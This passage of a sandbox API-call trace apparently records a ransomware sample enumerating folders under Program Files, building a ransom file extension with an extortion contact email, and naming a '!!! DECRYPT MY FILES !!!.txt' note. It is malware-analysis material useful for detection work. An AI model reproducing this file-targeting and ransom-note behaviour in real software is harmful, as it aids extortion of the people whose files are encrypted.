ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xa0b5787e, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b209410, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0115.239] FindNextFileW (in: hFindFile=0x6d4f00, lpFindFileData=0x6ebeb4c | out: lpFindFileData=0x6ebeb4c*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0115.239] FindClose (in: hFindFile=0x6d4f00 | out: hFindFile=0x6d4f00) returned 1 [0115.240] FindNextFileW (in: hFindFile=0x6d4ec0, lpFindFileData=0x6ebee14 | out: lpFindFileData=0x6ebee14*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0115.240] FindClose (in: hFindFile=0x6d4ec0 | out: hFindFile=0x6d4ec0) returned 1 [0115.240] FindNextFileW (in: hFindFile=0x6d4e00, lpFindFileData=0x6ebf0dc | out: lpFindFileData=0x6ebf0dc*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8b209410, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xa0b57d42, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b209410, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Triedit", cAlternateFileName="")) returned 1 [0115.240] SysReAllocStringLen (in: pbstr=0x6ebee10*=0x0, psz="C:\\Program Files\\Common Files\\microsoft shared\\Triedit\\", len=0x37 | out: pbstr=0x6ebee10*="C:\\Program Files\\Common Files\\microsoft shared\\Triedit\\") returned 1 [0115.240] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\microsoft shared\\Triedit\\", cchLength=0x37 | out: lpsz="c:\\program files\\common files\\microsoft shared\\triedit\\") returned 0x37 [0115.240] SysReAllocStringLen (in: pbstr=0x6ebedb8*=0x0, psz="C:\\Users\\FD1HVy\\Desktop\\", len=0x18 | out: pbstr=0x6ebedb8*="C:\\Users\\FD1HVy\\Desktop\\") returned 1 [0115.240] CharLowerBuffW (in: lpsz="C:\\Users\\FD1HVy\\Desktop\\", cchLength=0x18 | out: lpsz="c:\\users\\fd1hvy\\desktop\\") returned 0x18 [0115.240] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\Triedit\\*.*", lpFindFileData=0x6ebee14 | out: lpFindFileData=0x6ebee14*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8b209410, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xa0b57d42, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b209410, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6d5340 [0115.241] FindNextFileW (in: hFindFile=0x6d5340, lpFindFileData=0x6ebee14 | out: lpFindFileData=0x6ebee14*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8b209410, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xa0b57d42, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b209410, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0115.241] FindNextFileW (in: hFindFile=0x6d5340, lpFindFileData=0x6ebee14 | out: lpFindFileData=0x6ebee14*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8b209410, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xa0b58502, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b209410, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-US", cAlternateFileName="")) returned 1 [0115.241] SysReAllocStringLen (in: pbstr=0x6ebeb48*=0x0, psz="C:\\Program Files\\Common Files\\microsoft shared\\Triedit\\en-US\\", len=0x3d | out: pbstr=0x6ebeb48*="C:\\Program Files\\Common Files\\microsoft shared\\Triedit\\en-US\\") returned 1 [0115.241] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\microsoft shared\\Triedit\\en-US\\", cchLength=0x3d | out: lpsz="c:\\program files\\common files\\microsoft shared\\triedit\\en-us\\") returned 0x3d [0115.241] SysReAllocStringLen (in: pbstr=0x6ebeaf0*=0x0, psz="C:\\Users\\FD1HVy\\Desktop\\", len=0x18 | out: pbstr=0x6ebeaf0*="C:\\Users\\FD1HVy\\Desktop\\") returned 1 [0115.242] CharLowerBuffW (in: lpsz="C:\\Users\\FD1HVy\\Desktop\\", cchLength=0x18 | out: lpsz="c:\\users\\fd1hvy\\desktop\\") returned 0x18 [0115.242] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\Triedit\\en-US\\*.*", lpFindFileData=0x6ebeb4c | out: lpFindFileData=0x6ebeb4c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8b209410, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xa0b58502, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b209410, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6d4f00 [0115.242] FindNextFileW (in: hFindFile=0x6d4f00, lpFindFileData=0x6ebeb4c | out: lpFindFileData=0x6ebeb4c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8b209410, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xa0b58502, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b209410, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0115.242] FindNextFileW (in: hFindFile=0x6d4f00, lpFindFileData=0x6ebeb4c | out: lpFindFileData=0x6ebeb4c*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0115.242] FindClose (in: hFindFile=0x6d4f00 | out: hFindFile=0x6d4f00) returned 1 [0115.242] FindNextFileW (in: hFindFile=0x6d5340, lpFindFileData=0x6ebee14 | out: lpFindFileData=0x6ebee14*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0115.242] FindClose (in: hFindFile=0x6d5340 | out: hFindFile=0x6d5340) returned 1 [0115.242] FindNextFileW (in: hFindFile=0x6d4e00, lpFindFileData=0x6ebf0dc | out: lpFindFileData=0x6ebf0dc*(dwFileAttributes=0x30, ftCreationTime.dwLowDateTime=0xbcd0fab8, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xa0b594b8, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x2ce22546, ftLastWriteTime.dwHighDateTime=0x1d327be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="VC", cAlternateFileName="")) returned 1 [0115.243] SysReAllocStringLen (in: pbstr=0x6ebee10*=0x0, psz="C:\\Program Files\\Common Files\\microsoft shared\\VC\\", len=0x32 | out: pbstr=0x6ebee10*="C:\\Program Files\\Common Files\\microsoft shared\\VC\\") returned 1 [0115.243] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\microsoft shared\\VC\\", cchLength=0x32 | out: lpsz="c:\\program files\\common files\\microsoft shared\\vc\\") returned 0x32 [0115.243] SysReAllocStringLen (in: pbstr=0x6ebedb8*=0x0, psz="C:\\Users\\FD1HVy\\Desktop\\", len=0x18 | out: pbstr=0x6ebedb8*="C:\\Users\\FD1HVy\\Desktop\\") returned 1 [0115.243] CharLowerBuffW (in: lpsz="C:\\Users\\FD1HVy\\Desktop\\", cchLength=0x18 | out: lpsz="c:\\users\\fd1hvy\\desktop\\") returned 0x18 [0115.243] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\VC\\*.*", lpFindFileData=0x6ebee14 | out: lpFindFileData=0x6ebee14*(dwFileAttributes=0x30, ftCreationTime.dwLowDateTime=0xbcd0fab8, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xa0b594b8, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x2ce22546, ftLastWriteTime.dwHighDateTime=0x1d327be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6d5240 [0115.243] FindNextFileW (in: hFindFile=0x6d5240, lpFindFileData=0x6ebee14 | out: lpFindFileData=0x6ebee14*(dwFileAttributes=0x30, ftCreationTime.dwLowDateTime=0xbcd0fab8, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xa0b594b8, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x2ce22546, ftLastWriteTime.dwHighDateTime=0x1d327be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0115.244] FindNextFileW (in: hFindFile=0x6d5240, lpFindFileData=0x6ebee14 | out: lpFindFileData=0x6ebee14*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd8127e00, ftCreationTime.dwHighDateTime=0x1cbd076, ftLastAccessTime.dwLowDateTime=0xcd0a4098, ftLastAccessTime.dwHighDateTime=0x1d327b7, ftLastWriteTime.dwLowDateTime=0xd8127e00, ftLastWriteTime.dwHighDateTime=0x1cbd076, nFileSizeHigh=0x0, nFileSizeLow=0xf1b50, dwReserved0=0x0, dwReserved1=0x0, cFileName="msdia100.dll", cAlternateFileName="")) returned 1 [0115.244] SysReAllocStringLen (in: pbstr=0x6ebee08*=0x0, psz="C:\\Program Files\\Common Files\\microsoft shared\\VC\\msdia100.dll", len=0x3e | out: pbstr=0x6ebee08*="C:\\Program Files\\Common Files\\microsoft shared\\VC\\msdia100.dll") returned 1 [0115.244] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\microsoft shared\\VC\\msdia100.dll", cchLength=0x3e | out: lpsz="c:\\program files\\common files\\microsoft shared\\vc\\msdia100.dll") returned 0x3e [0115.244] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebdd78, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0115.244] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebdd78, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0115.244] SysReAllocStringLen (in: pbstr=0x6ebeda8*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebeda8*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0115.244] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0115.244] FindNextFileW (in: hFindFile=0x6d5240, lpFindFileData=0x6ebee14 | out: lpFindFileData=0x6ebee14*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcfe87c00, ftCreationTime.dwHighDateTime=0x1cbfe36, ftLastAccessTime.dwLowDateTime=0x2ce22546, ftLastAccessTime.dwHighDateTime=0x1d327be, ftLastWriteTime.dwLowDateTime=0xcfe87c00, ftLastWriteTime.dwHighDateTime=0x1cbfe36, nFileSizeHigh=0x0, nFileSizeLow=0xd0d50, dwReserved0=0x0, dwReserved1=0x0, cFileName="msdia90.dll", cAlternateFileName="")) returned 1 [0115.244] SysReAllocStringLen (in: pbstr=0x6ebee08*="c:\\program files\\common files\\microsoft shared\\vc\\msdia100.dll", psz="C:\\Program Files\\Common Files\\microsoft shared\\VC\\msdia90.dll", len=0x3d | out: pbstr=0x6ebee08*="C:\\Program Files\\Common Files\\microsoft shared\\VC\\msdia90.dll") returned 1 [0115.244] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\microsoft shared\\VC\\msdia90.dll", cchLength=0x3d | out: lpsz="c:\\program files\\common files\\microsoft shared\\vc\\msdia90.dll") returned 0x3d [0115.244] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebdd78, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0115.244] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebdd78, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0115.245] SysReAllocStringLen (in: pbstr=0x6ebeda8*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebeda8*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0115.245] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0115.245] FindNextFileW (in: hFindFile=0x6d5240, lpFindFileData=0x6ebee14 | out: lpFindFileData=0x6ebee14*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0115.245] FindClose (in: hFindFile=0x6d5240 | out: hFindFile=0x6d5240) returned 1 [0115.245] FindNextFileW (in: hFindFile=0x6d4e00, lpFindFileData=0x6ebf0dc | out: lpFindFileData=0x6ebf0dc*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bb043c, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa0b59a78, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x71169cb5, ftLastWriteTime.dwHighDateTime=0x1d2fa08, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="VGX", cAlternateFileName="")) returned 1 [0115.245] SysReAllocStringLen (in: pbstr=0x6ebee10*=0x0, psz="C:\\Program Files\\Common Files\\microsoft shared\\VGX\\", len=0x33 | out: pbstr=0x6ebee10*="C:\\Program Files\\Common Files\\microsoft shared\\VGX\\") returned 1 [0115.245] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\microsoft shared\\VGX\\", cchLength=0x33 | out: lpsz="c:\\program files\\common files\\microsoft shared\\vgx\\") returned 0x33 [0115.245] SysReAllocStringLen (in: pbstr=0x6ebedb8*=0x0, psz="C:\\Users\\FD1HVy\\Desktop\\", len=0x18 | out: pbstr=0x6ebedb8*="C:\\Users\\FD1HVy\\Desktop\\") returned 1 [0115.245] CharLowerBuffW (in: lpsz="C:\\Users\\FD1HVy\\Desktop\\", cchLength=0x18 | out: lpsz="c:\\users\\fd1hvy\\desktop\\") returned 0x18 [0115.245] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\VGX\\*.*", lpFindFileData=0x6ebee14 | out: lpFindFileData=0x6ebee14*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bb043c, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa0b59a78, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x71169cb5, ftLastWriteTime.dwHighDateTime=0x1d2fa08, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6d5240 [0115.246] FindNextFileW (in: hFindFile=0x6d5240, lpFindFileData=0x6ebee14 | out: lpFindFileData=0x6ebee14*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bb043c, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa0b59a78, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x71169cb5, ftLastWriteTime.dwHighDateTime=0x1d2fa08, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0115.246] FindNextFileW (in: hFindFile=0x6d5240, lpFindFileData=0x6ebee14 | out: lpFindFileData=0x6ebee14*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4a69a2a7, ftCreationTime.dwHighDateTime=0x1d2fa08, ftLastAccessTime.dwLowDateTime=0xb3fd6e56, ftLastAccessTime.dwHighDateTime=0x1d2fa09, ftLastWriteTime.dwLowDateTime=0x4a69a2a7, ftLastWriteTime.dwHighDateTime=0x1d2fa08, nFileSizeHigh=0x0, nFileSizeLow=0xf1000, dwReserved0=0x0, dwReserved1=0x0, cFileName="VGX.dll", cAlternateFileName="")) returned 1 [0115.246] SysReAllocStringLen (in: pbstr=0x6ebee08*=0x0, psz="C:\\Program Files\\Common Files\\microsoft shared\\VGX\\VGX.dll", len=0x3a | out: pbstr=0x6ebee08*="C:\\Program Files\\Common Files\\microsoft shared\\VGX\\VGX.dll") returned 1 [0115.246] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\microsoft shared\\VGX\\VGX.dll", cchLength=0x3a | out: lpsz="c:\\program files\\common files\\microsoft shared\\vgx\\vgx.dll") returned 0x3a [0115.246] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebdd78, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0115.246] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebdd78, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0115.505] SysReAllocStringLen (in: pbstr=0x6ebeda8*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebeda8*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0115.505] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0115.506] FindNextFileW (in: hFindFile=0x6d5240, lpFindFileData=0x6ebee14 | out: lpFindFileData=0x6ebee14*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0115.506] FindClose (in: hFindFile=0x6d5240 | out: hFindFile=0x6d5240) returned 1 [0115.506] FindNextFileW (in: hFindFile=0x6d4e00, lpFindFileData=0x6ebf0dc | out: lpFindFileData=0x6ebf0dc*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x49ecb94e, ftCreationTime.dwHighDateTime=0x1d327e9, ftLastAccessTime.dwLowDateTime=0x4ae972f5, ftLastAccessTime.dwHighDateTime=0x1d327e9, ftLastWriteTime.dwLowDateTime=0x4ae972f5, ftLastWriteTime.dwHighDateTime=0x1d327e9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="VSTO", cAlternateFileName="")) returned 1 [0115.506] SysReAllocStringLen (in: pbstr=0x6ebee10*=0x0, psz="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\", len=0x34 | out: pbstr=0x6ebee10*="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\") returned 1 [0115.506] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\", cchLength=0x34 | out: lpsz="c:\\program files\\common files\\microsoft shared\\vsto\\") returned 0x34 [0115.506] SysReAllocStringLen (in: pbstr=0x6ebedb8*=0x0, psz="C:\\Users\\FD1HVy\\Desktop\\", len=0x18 | out: pbstr=0x6ebedb8*="C:\\Users\\FD1HVy\\Desktop\\") returned 1 [0115.506] CharLowerBuffW (in: lpsz="C:\\Users\\FD1HVy\\Desktop\\", cchLength=0x18 | out: lpsz="c:\\users\\fd1hvy\\desktop\\") returned 0x18 [0115.506] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\*.*", lpFindFileData=0x6ebee14 | out: lpFindFileData=0x6ebee14*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x49ecb94e, ftCreationTime.dwHighDateTime=0x1d327e9, ftLastAccessTime.dwLowDateTime=0x4ae972f5, ftLastAccessTime.dwHighDateTime=0x1d327e9, ftLastWriteTime.dwLowDateTime=0x4ae972f5, ftLastWriteTime.dwHighDateTime=0x1d327e9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6d5240 [0115.507] FindNextFileW (in: hFindFile=0x6d5240, lpFindFileData=0x6ebee14 | out: lpFindFileData=0x6ebee14*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x49ecb94e, ftCreationTime.dwHighDateTime=0x1d327e9, ftLastAccessTime.dwLowDateTime=0x4ae972f5, ftLastAccessTime.dwHighDateTime=0x1d327e9, ftLastWriteTime.dwLowDateTime=0x4ae972f5, ftLastWriteTime.dwHighDateTime=0x1d327e9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0115.507] FindNextFileW (in: hFindFile=0x6d5240, lpFindFileData=0x6ebee14 | out: lpFindFileData=0x6ebee14*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4a6d7a0a, ftCreationTime.dwHighDateTime=0x1d327e9, ftLastAccessTime.dwLowDateTime=0x4aebd53e, ftLastAccessTime.dwHighDateTime=0x1d327e9, ftLastWriteTime.dwLowDateTime=0x4aebd53e, ftLastWriteTime.dwHighDateTime=0x1d327e9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="10.0", cAlternateFileName="")) returned 1 [0115.507] SysReAllocStringLen (in: pbstr=0x6ebeb48*=0x0, psz="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\10.0\\", len=0x39 | out: pbstr=0x6ebeb48*="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\10.0\\") returned 1 [0115.507] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\10.0\\", cchLength=0x39 | out: lpsz="c:\\program files\\common files\\microsoft shared\\vsto\\10.0\\") returned 0x39 [0115.507] SysReAllocStringLen (in: pbstr=0x6ebeaf0*=0x0, psz="C:\\Users\\FD1HVy\\Desktop\\", len=0x18 | out: pbstr=0x6ebeaf0*="C:\\Users\\FD1HVy\\Desktop\\") returned 1 [0115.507] CharLowerBuffW (in: lpsz="C:\\Users\\FD1HVy\\Desktop\\", cchLength=0x18 | out: lpsz="c:\\users\\fd1hvy\\desktop\\") returned 0x18 [0115.507] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\10.0\\*.*", lpFindFileData=0x6ebeb4c | out: lpFindFileData=0x6ebeb4c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4a6d7a0a, ftCreationTime.dwHighDateTime=0x1d327e9, ftLastAccessTime.dwLowDateTime=0x4aebd53e, ftLastAccessTime.dwHighDateTime=0x1d327e9, ftLastWriteTime.dwLowDateTime=0x4aebd53e, ftLastWriteTime.dwHighDateTime=0x1d327e9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6d51c0 [0115.509] FindNextFileW (in: hFindFile=0x6d51c0, lpFindFileData=0x6ebeb4c | out: lpFindFileData=0x6ebeb4c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4a6d7a0a, ftCreationTime.dwHighDateTime=0x1d327e9, ftLastAccessTime.dwLowDateTime=0x4aebd53e, ftLastAccessTime.dwHighDateTime=0x1d327e9, ftLastWriteTime.dwLowDateTime=0x4aebd53e, ftLastWriteTime.dwHighDateTime=0x1d327e9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0115.509] FindNextFileW (in: hFindFile=0x6d51c0, lpFindFileData=0x6ebeb4c | out: lpFindFileData=0x6ebeb4c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4a6d7a0a, ftCreationTime.dwHighDateTime=0x1d327e9, ftLastAccessTime.dwLowDateTime=0x4a6fdac8, ftLastAccessTime.dwHighDateTime=0x1d327e9, ftLastWriteTime.dwLowDateTime=0x4a6fdac8, ftLastWriteTime.dwHighDateTime=0x1d327e9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1033", cAlternateFileName="")) returned 1 [0115.510] SysReAllocStringLen (in: pbstr=0x6ebe880*=0x0, psz="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\10.0\\1033\\", len=0x3e | out: pbstr=0x6ebe880*="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\10.0\\1033\\") returned 1 [0115.510] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\10.0\\1033\\", cchLength=0x3e | out: lpsz="c:\\program files\\common files\\microsoft shared\\vsto\\10.0\\1033\\") returned 0x3e [0115.510] SysReAllocStringLen (in: pbstr=0x6ebe828*=0x0, psz="C:\\Users\\FD1HVy\\Desktop\\", len=0x18 | out: pbstr=0x6ebe828*="C:\\Users\\FD1HVy\\Desktop\\") returned 1 [0115.510] CharLowerBuffW (in: lpsz="C:\\Users\\FD1HVy\\Desktop\\", cchLength=0x18 | out: lpsz="c:\\users\\fd1hvy\\desktop\\") returned 0x18 [0115.510] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\10.0\\1033\\*.*", lpFindFileData=0x6ebe884 | out: lpFindFileData=0x6ebe884*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4a6d7a0a, ftCreationTime.dwHighDateTime=0x1d327e9, ftLastAccessTime.dwLowDateTime=0x4a6fdac8, ftLastAccessTime.dwHighDateTime=0x1d327e9, ftLastWriteTime.dwLowDateTime=0x4a6fdac8, ftLastWriteTime.dwHighDateTime=0x1d327e9, nFileSizeHigh=0x0, nFileSizeLow=0x0, 